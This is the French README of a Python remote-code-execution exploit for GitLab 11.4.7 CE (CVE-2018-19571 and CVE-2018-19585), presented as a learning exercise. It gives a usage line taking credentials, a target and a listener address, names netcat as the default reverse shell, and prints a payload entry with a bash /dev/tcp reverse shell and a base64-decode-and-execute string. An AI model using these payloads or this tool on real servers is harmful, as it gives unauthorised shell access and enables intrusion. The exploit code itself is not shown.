
GitLab 11.4.7 Exploit RCE avec différents reverse shells. CVE-2018-19571 + CVE-2018-19585
Exploit RCE pour GitLab 11.4.7 CE avec différents reverse shells.
CVE-2018-19571: https://nvd.nist.gov/vuln/detail/CVE-2018-19571
CVE-2018-19585: https://nvd.nist.gov/vuln/detail/CVE-2018-19585
Modification de la version de Sam Redmond and Tam Lai Yin dans le but d'apprendre et de pratiquer.
Il est écrit en python3, comme il se doit.
Dépendances :
pip3 install requests
Utilisation :
python3 rce_script.py -u <username> -p <password> -g <url:port> -l <local ip> -P <local port> [<shell lang>]
Par défaut, le shell netcat avec l'option -e est utilisé.
Shells intégrés actuels :
Certains shells contiennent des caractères qui ne s'accordent pas avec l'encodage de la requête. Par conséquent, ils sont encodés en Base64, puis décodés et exécutés sur la machine victime.
Si vous souhaitez ajouter votre propre shell, ajoutez une valeur à la structure payloads_dict.
Vous devez définir les éléments suivants :
'bash': {
# If the raw_payload can be executed withoud encoding
'safe': False,
# Payload, must contain the references for the local_ip and for the local_port
'raw_payload': 'bash -i >& /dev/tcp/{local_ip}/{local_port} 0>&1',
# How to execute the payload if safe is False. Must conatin the reference for payload
'exec_string': 'echo {payload} | base64 -d | /bin/bash'
}
L'analyse HTML est assez codée en dur, elle peut facilement se casser.